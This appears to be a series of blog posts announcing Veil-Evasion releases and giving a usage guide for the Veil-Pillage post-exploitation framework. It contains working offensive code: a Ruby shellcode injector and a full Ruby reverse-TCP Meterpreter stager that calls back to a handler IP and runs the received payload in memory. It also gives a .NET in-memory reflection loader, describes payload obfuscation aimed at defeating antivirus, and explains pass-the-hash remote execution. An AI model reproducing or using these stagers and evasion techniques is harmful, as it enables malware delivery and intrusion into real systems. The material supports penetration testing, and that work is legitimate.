February 2016 V-Day

This February we have a few updates to Veil-Evasion.  First, we’ve upgraded the version of PyInstaller that’s used by Veil-Evasion from pyinstaller 2 to 3.1.  One extra feature that this allows is the ability to encrypt the bytecode that pyinstaller outputs.  We’re using this feature by generating a random key each time Veil-Evasion runs and supplying that when using PyInstaller to convert the python code into a Windows executable.

The other modification to Veil-Evasion is I’ve added some obfuscation to the python payloads themselves.  I’ve identified some areas where different AVs are trying to flag the python payloads, so this should help with some of the detection issues.  Other possibly signatures have been found as well, but I’m waiting to see how AV companies respond to this new obfuscation.

Thanks, hope that this can help, and good luck!  #avlol

A Perl of Hope – January V-Day 2016

Welcome to 2016!  For the first post/release of the year, I’m happy to push out a new language!  First, I will preface this release by stating my politically correct opinion that Perl, is not fun.  However, that doesn’t mean it isn’t viable for writing shellcode injectors!

This month, I’m pushing out the standard “flat” shellcode injection template for perl, which lets you generate perl shellcode injectors.  However, if you run this module, you’re going to see something different than the other modules Veil-Evasion currently supports, right now there’s no native Windows compilation within Kali.

As of this release, I have not yet been able to get all the required dependencies installed within Wine and working.  There is a workaround, similar to our Python Py2Exe output, you can “compile” this perl script into a self-contained Windows executable by using a Windows VM.  While not the most ideal, I personally am always running a Windows VM in addition to a linux one while on tests, so I would imagine many of you follow a similar setup.

To generate a Windows executable, there’s a couple steps you’ll need to follow:

    1. Generate your perl payload like you would any other Veil-Evasion payload.  Once Veil-Evasion is done, you’re going to receive the source code output (like normal), but no executable.
    2. Move the perl script over to your Windows VM (tested on Windows XP x32 and Windows 7 x64).
    3. Install Perl (x32) on your windows VM (I’ve personally tested this process using the latest x32 Strawberry Perl build).
    4. Once Perl has been installed, open a command prompt and run “cpan PAR::Packer”
      1. This step will take a little while, and will require an internet connection
    5. Navigate to your .pl Veil-Evasion output within a command prompt and type “pp –gui -o <output_name_here.exe> <veil-evasion_perl_output.pl>”

perl compile

You now have your Perl executable!

I realize this isn’t the most ideal setup, but I’d rather we have the ability to generate these payloads vs. hold back on the release.  I’ll continue to look into finding a way to make this work within Wine, but if anyone wants to help figure this out, it would definitely be appreciated :)

Anyways, hope that this helps, and happy new year!

 

November 2015 V-Day

Hello!

This month I’ve added in two different modules for our November 2015 V-Day, and both are in relation to our powershell payloads!

First, I built on top of our download and inject HTTP powershell module and added the ability to download code on the fly from a HTTPS server.  This module will download code from HTTPS protected web servers that are not using a valid cert (read self-signed).

Next, another auxiliary module was added into Veil-Evasion.  We built a module upon khr0x40sh’s blog post where Veil-Evasion’s powershell/shellcode_inject/virtual payload was converted into macro code.  This new auxiliary module simply takes the steps documented in the blog post and automates the process.  It will output a text file containing the code that just needs to be pasted in, and you will then have a valid working macro.  The only option you will need to specify is if you are going to be running the code on a x86 or x64 system.

We hope that this helps, and we still have plenty more module for future releases!  Let me know in #Veil on freenode if you have any questions!

September 2015 V-Day

Hello Everyone!

It’s been a while for a release, I know!  Today, we have two smaller updates.  For a payload release, a Ruby payload which has shellcode base64 encoded inside of it (and is decoded at runtime) has been added into Veil-Evasion (thanks to the guys in #ruby on Freenode for some help).

Additionally, Veil-Ordnance has received an update.  As it was, Veil-Ordnance had its modules hardcoded into the application.  Ordnance now will dynamically pick up new payload and encoder modules that are added to it, making it easier to extend Veil-Ordnance’s functionality!

Finally, th3 payload r3l3as3s hav3 slow3d du3 to work on updating a proj3ct.  Hop3fully w3’ll b3 abl3 to g3t a r3l3as3 soon, but in th3 m3antim3 I’ll do my b3st to 3nsur3 th3 payloads ar3 r3l3as3d on tim3 3ach V-Day.  Hop3 this h3lps, and f33l fr33 to ask any qu3stions in #Veil on Fr33nod3!

On Your Mark, Get Set, Go! – May V-Day

Hello all!

This month we’re really happy to be introducing a new language into the Veil-Framework for bypassing antivirus.  So far, we have Python, C, C#, Powershell, and Ruby.  As you probably can guess, we are happy to be adding in support for Go!

To use Go payloads, the first thing you will need to do is re-run the setup script that comes bundled with Veil-Evasion.  This will auto download Go and compile from source in a method that allows go to cross-compile and create Windows executables within Linux.

Once installed, you will see there are currently four different Go payloads available in the framework.  One of the payloads is the traditional shellcode injection payload, and the others are pure Go meterpreter stagers.  The Go payloads were submitted to us by @b00stfr3ak44, we definitely appreciate them being sent our way for the community to use!

We’d love to continue to encourage people to create new payloads, in any language that you think would be fun. If you’d be willing to send a payload you’ve created to us to include within Veil-Evasion, we’d be happy to do anything we can to help you along the way.

Thanks!

#avlol

April V-Day – BDF Updates!

Hello All!

For our April V-Day, we’ve been working with our friend Josh (@midnite_runr) to get the latest Backdoor Factory updates added in to Veil-Evasion.  There’s been a number of updates to Backdoor Factory lately that had yet to be added in, but we should have them all included now.  One of the most recent changes includes automatic PE patching when backdooring an executable.  @Midnite_runr has been working on adding that feature in for some time, so it’s awesome that his hard work has paid off!  He’s documented a lot of the updates in this video.

If you have any questions, feel free to ask in #Veil on Freenode, and thanks to @midnite_runr for his awesome work!

March V-Day

Hello All!

For this (late) March V-Day, we’re happy to add in a module that was developed and submitted to us from @byt3bl33d3r!  This is a python based beaconing payload.  The payload was based off of the original POC from @midnite_runr (available here).

If configured to beacon out for data, the payload will continuously call back to a system of the attacker’s choice every X seconds.  Once the beacon receives data (a web server 200 code) from the web server, it will attempt to inject the data into memory and execute it.

To use this payload, you will want to dump the raw shellcode to a file, vs. storing it in a \x1f\xbc… format.

Thanks to @midnite_runr for the original POC and thanks to @byt3bl33d3r for not only writing the module, but working with us to get it ready for release!

January 2015 V-Day!

Welcome to 2015!  For our January 2015 V-Day, we have a small addition to our Ruby shellcode injection payload.  Currently, the payloads are injection shellcode into memory using the VirtualAlloc API call routine, but this was the only method.  We’ve just added in the ability to inject shellcode into memory via HeapCreate and HeapAlloc.

Additionally, the Metasploit Project devs have updated Meterpreter to version 0.0.13.  We’ve just added support for the latest version of Meterpreter in Veil-Evasion.

If anyone has any questions, feel free to reach out to us!

#avlol

A Year of V-Days

Exactly a year ago today, we introduced V-Day, our continuous release cycle for Veil-Evasion. We wanted to provide a way to systematically release our evasion research as it progressed, as well as letting everyone know that Veil-Evasion is an actively maintained and developed project.

Back in May we reflected on a year of development for the Veil-Framework. We promise we won’t wax poetic again about the how far the project’s come, how much fun we’ve had developing Veil and interacting with the community, or how awesome the reception at Defcon was from everyone.

Instead, we’re going to cut to the chase and detail our 1 year V-Day anniversary, our biggest release yet.

Ruby Modules

The coolest news this month is the release of Ruby payload modules. Ruby has a foreign function interface similar to Python’s ctypes. It’s a gem named win32-api, and it will allow you to access and manipulate lower-level Windows32 API functions. This means we can inject shellcode generated from msfvenom using the newly released ruby/shellcode_inject/flat module:

require 'rubygems'
require 'win32/api'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# our shellcode
payload = "\xfc\xe8\x89..."

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

But it doesn’t stop there. With this API access, we can also build a pure Ruby reverse_tcp Meterpreter stager, following the same pattern we’ve described in the past. The ruby/meterpreter/rev_tcp stager is a pure-Ruby stage 1 Meterpreter loader, which doesn’t rely on shellcode:

require 'rubygems'
require 'win32/api'
require 'socket'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# needed to translate a ruby socket into an actual system file descriptor / socket num
get_osfhandle = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')

# connect to our handler
s = TCPSocket.open('192.168.52.150', 4444)

# read/decode the size of the metepreter payload being transmitted
payloadLength = Integer(s.recv(4).unpack('L')[0])

# 5 spaces -> 1 byte for ASM code, 4 byes for socket descriptor (below)
payload = "     "

# make sure we get all of the meterpreter payload
while payload.length < payloadLength payload += s.recv(payloadLength) end #prepend a little assembly to move our SOCKET value to the EDI register # BF 78 56 34 12 => mov edi, 0x12345678
payload[0] = ['BF'].pack("H*")
socketID = get_osfhandle.call(s.fileno)

# copy in the underlying socket ID into the buffer
for i in 1..4
payload[i] = Array(socketID).pack('V')[i-1]
end

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

These Ruby approaches are great, but you’re probably heard us iterate again and again on how we want a single monolithic attack platform. We hate having to switch back to a Windows box with a specific environment installed (Python, Ruby, etc.) in order to compile our backdoors. Hence our philosophy of trying to only release module families that can compile to Windows executables, all on Kali linux.

Luckily, Ruby has a nice analogue for Pyinstaller, a gem named OCRA, which stands for “One Click Ruby Application”. It follows the same general idea that Pyinstaller does, by wrapping up a Ruby environment, dependencies and target script that are extracted to a temporary directory on a target and executed. And happily, with a bit of trickery we can get this all running on Kali linux as well :)

veil_evasion_ruby_compilation

With the new update, the ./setup.sh script for Veil-Evasion will install Ruby under Wine along with the necessary gems. We’ll have a few more Ruby stagers for release next month, and I spoke about this payload family during my BSides Augusta presentation “Adventures in Asymmetric Warfare: Fighting the AV Vendors“.

A .NET Crypter

Also released this V-Day, and also covered in the BSides Augusta presentation, is a basic .NET “crypter” named Arya. C#/VB.net code is compiled, not interpreted, so we can’t quite build a dynamic obfuscator equivalent to Pyherion. However, .NET has an interesting feature called reflection, which you can use to create type instances at run time, and to invoke and access them. If we have an array of raw bytes of a .NET binary, we can run the entire executable from memory with 3 lines by utilizing reflection:


Assembly a = Assembly.Load(bytes);
MethodInfo m = a.EntryPoint;
m.Invoke(a.CreateInstance(m.Name), null);

We can obfuscate those bytes in any way we want beforehand, and can store them locally in the file or remotely to download and execute. When Arya is run as a standalone script, you have the option to feed it C# source code or a precompiled .NET .exe. It will then generate either a launcher for the obfuscated source, or a dropper that downloads the obfuscated .NET snippet from a URI. The option use_arya has also been implemented into every C# Veil-Evasion payload, giving you the option to implement another level of obfuscation:

veil_evasion_arya

Ubuntu Compatibility

One of the most common requests we received at Defcon was for support beyond just Kali linux. And while Kali remains as our only *officially* supported platform, we’re happy to announce that @TheMightyShiv has brought Ubuntu 14+ and Debian 7+ compatibility to Veil-Evasion, along with non-root installations!

If you have a fresh Ubuntu 14 image, you can run the short setup script hosted at this gist which will install the latest versions of the Metasploit framework and Veil-Evasion.

If you already have Metasploit installed, clone off Veil-Evasion and fire up the ./setup/setup.sh script:

$ git clone https://github.com/Veil-Framework/Veil-Evasion.git
$ cd Veil-Evasion/setup/
$ ./setup.sh

When you launch the script, you’ll be prompted for your password to sudo. While all the Apt dependencies are being installed, you’ll be on this screen for a bit:

ubuntu_evasion_setup1

If you want to check the status of the install or see what’s happening, check the setup.log in the ./setup/ folder:

ubuntu_evasion_setup2

When you hit this screen, tab over to <Yes> to accept the EULA:

ubuntu_evasion_setup3

And when you his this screen, click Yes to overwrite the existing files:

ubuntu_evasion_setup4

Finally, when you hit the end of the setup, enter the installation path for your Metasploit installation. If you used the gist setup or other common setup scripts, this path is likely at /usr/local/share/metasploit-framework/ :

ubuntu_evasion_setup5

After that everything *should* run properly. There are likely a few issues we missed, so if you run into any problems please submit an issue to our github.

Thanks again to everyone for all their support. We’re looking forward to another great year of releases.

Veil-Pillage: A Usage Guide

Veil-Pillage is a modular post-exploitation framework released last month at Defcon. We’ve had some great feedback already, and we wanted to put together a quick usage guide for anyone interested in playing around with its functionality. We also had our first module pull request recently, management/enable_proxy, contributed by byt3bl33d3r. This module will let you manually set the system proxy on a target host or hosts, check it out!

First things first, installation. The best way to pull down the latest version of the Veil-Framework is to first clone down the Veil master project from github:

root@kali:~# git clone https://github.com/Veil-Framework/Veil.git

Then change into the Veil directory and run the update.sh script which will pull down all the project submodules and run all appropriate setups:

root@kali:~/Veil# ./update.sh

If you’re running this on Kali linux, our only officially supported platform at this point, everything should pull down and install correctly. Change into the Veil-Pillage directory and launch ./Veil-Pillage.py. You’ll then be presented with the main menu:

pillage_main_menu

Here you can see the number of modules currently loaded, as well as the common commands available. Now for some basic usage. The first thing you’ll want to do is to give Pillage a set of targets and a set of credentials. This can be done in several ways. You can set targets with a space or comma separated list, an existing target text file, or just with “set targets” for an interactive menu:

pillage_set_targets

Credentials work similarly, with set creds [domain]/user:password or set creds [domain]/user:LM:NTLM. Specifying a creddump file with set creds file.txt works as well:

pillage_set_creds

After you have your target and credential sets worked out, you need to choose a module to execute. List will list all of the modules available. You can select a module with “use #” where # is the number from the list command, or use action/module/… which allows you to tab-complete the loaded module path:

use_tab_complete

This will drop you into the module menu, where you will see a description of the module, required options, and module commands:

enable_rdp_menu

The most common option you’ll see across most modules is “trigger_method”, which controls how the specified action is executed on the target machine. “wmis” will utilize pth-wmis from the passing-the-hash toolkit which doesn’t create a service and is preferable in most situations, “winexe” will utilize pth-winexe and creates a service as well as dropping a binary to disk, and Impacket’s “smbexec” which creates a service but doesn’t drop a binary. What action you choose will depend on the specific situation you’re encountering, but wmis is usually set as the default.

If you want to set a module specific option across ALL modules, setg will set a specific option globally. This command can also be used from the main menu.

Once you have everything set to your liking, the run command will start execution. You’ll be prompted to make sure you want to execute the module, and then everything will kick off. After execution is completed, you’ll get the standard output menu. Status files are output to /root/veil-output/pillage/MODULE/<timestamp>.out. Typing yes will display the output file for the module:

enable_rdp_output

The output file will tell you exactly what action was performed on what host with what credentials. Every module that has any kind of reciprocal cleanup action will automatically produce a cleanup file that’s output to  /root/veil-output/pillage/MODULE/<timestamp>.pc . You can run this file with “cleanup <file>.pc” from the main menu:

enable_rdp_cleanup

There’s also a global cleanup file that keeps track of all cleanup actions for all modules. If you type cleanup on the main menu, it will prompt you to use this global file, which will then cleanup all affected hosts and then reset the cleanup file itself.

A few last things: the UI experience for Veil-Pillage was a major focus in development. Everything that could be tab-completable was made to be so, and reasonable error-handling/checking was built in wherever it made sense. There is also a complete set of command line flags for every possible option and action in Veil-Pillage, something we’ll cover in more depth in a future blog post. Also, whenever you exit Veil-Pillage, through exit, ctrl+c, or if there is some error in execution, the program state is automatically saved to pillage.state. When you start Pillage back up, it will ask you if you want to restore this state file. If you do, your credential and target sets are restored, module options set to their modified values, and you’re thrown right back into the module menu you were operating in.

In case you want to see some more Veil-Pillage functionality demonstrated, the recorded demos given during the Defcon presentation are available here, and Pillage’s README.md contains a bit more information as well. If you encounter any issues or have any module ideas, please submit issues and/or pull requests to Pillage’s github.